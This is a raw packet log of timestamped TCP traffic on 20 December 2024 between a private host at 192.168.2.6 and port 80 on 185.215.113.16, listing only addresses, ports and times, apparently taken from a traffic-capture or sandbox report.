Dec 20, 2024 16:20:00.875832081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.875844002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.875885963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.875904083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.876594067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.902700901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.902745962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.902759075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.902781010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.902821064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.903033018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.903225899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.903242111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.903276920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.904292107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.904304981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.904311895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.904367924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.904544115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.904633999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.904645920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.905303955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.905361891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.905491114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.907547951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.907582998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.907594919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.907624006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.907646894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.907882929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.907896042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.908293962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.908529043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.909041882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.909121990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.964384079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.964462996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.964503050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.964567900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.965014935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.965054035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.965095997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.965173960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.965343952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.965379000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.965424061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.966099024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.966133118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.966187000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.966190100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.966223955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.966336012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.966391087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.967684984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.967722893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.967751026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.967761993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.967816114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.967818975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.967855930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.967892885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.968041897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.968554974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.968620062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.968657970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.968966961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.970946074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.970985889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971062899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971100092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971116066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.971137047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971153021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.971173048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971210003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.971241951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.020520926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.028090000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028253078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028270960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028320074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.028495073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028712988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028728008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.028759003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.028780937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.029278040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.029366016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.029382944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.030085087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.030142069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.030160904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.030217886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.030262947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.030834913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031003952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031019926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031065941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.031605005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031630993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031649113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.031675100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.031689882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.032437086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.032533884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.032551050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.033257961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.033279896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.033302069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.033324003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.033348083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.033970118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034069061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034086943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034132004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.034754992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034851074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034868956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.034919024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.035645008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.035687923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.035706043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.035739899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.036355019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.036375046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.036391973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.036427975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.036458969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.037102938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.037189007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.037205935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.037914038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.037987947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.038009882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.038026094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.038069963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.038657904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.038768053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.038788080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.039480925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.039546967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.039623022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.039639950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.039743900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.040220022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.040313959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.040347099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.040457010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.040982008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.041049004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.041064024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.041076899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.042414904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.067629099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.067708969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.067722082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.067856073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.067909956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.068023920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.068038940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.068073988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.068088055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.068958998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.095849991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.095906973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.095937967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.095949888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096002102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.096316099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096328974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096388102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.096726894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096780062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096792936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.096877098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.097263098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.097352028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.097364902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.097397089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.097408056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.097943068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.098026991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.098038912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.098073959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.098673105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100326061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100475073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100491047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100568056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.100831985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100966930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.100980043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.101016998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.101030111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.101619959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.150264025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.156805992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.156847000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.156863928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.156972885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.157073975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.157272100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.157289028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.157320023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.157335043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.158611059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158634901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158662081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158833027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158863068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158884048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.158893108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.158934116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.159488916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.159584999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.159744024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.160270929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.160293102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.160310030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.160337925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.160377979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.161120892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161254883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161273003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161307096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.161940098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161958933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161974907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.161988020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.162231922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.162566900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.162637949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.162655115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.162681103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.209928989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.221076012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221169949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221183062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221299887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.221440077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221612930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221626997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.221664906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.221683979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.222313881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.222345114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.222357035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.223020077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.223078012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.223149061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.223166943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.223210096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.223984003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224004030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224014997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224046946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.224780083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224848032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224858999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.224910021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.225509882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.225627899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.225641966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.225678921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.226233959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.226315022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.226330042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.226363897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.226382971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.226908922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227025032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227037907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227720976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227782011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.227797985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227809906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.227864027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.228539944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.228605032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.228626966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.228683949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.229348898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.229399920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.229417086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.229455948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.229475021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.230061054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.230159998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.230179071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.230983973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231071949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231082916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.231105089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231143951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.231846094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231914997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231941938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.231971979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.232637882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.232656956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.232676983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.232734919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.233278036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.233381033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.233398914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.233433962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.233994007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.234184027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.234199047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.234244108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.234261990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.260201931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260238886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260255098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260529041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.260588884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260651112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260668039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.260699987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.260719061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.261157036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287518024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287575960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287589073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287655115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.287900925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287939072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.287983894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.288367987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.288379908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.288428068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.288739920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.288830042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.288842916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.288883924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.289562941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.289622068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.289635897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.289664984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.289678097 CET	49828	80	192.168.2.6	185.215.113.16
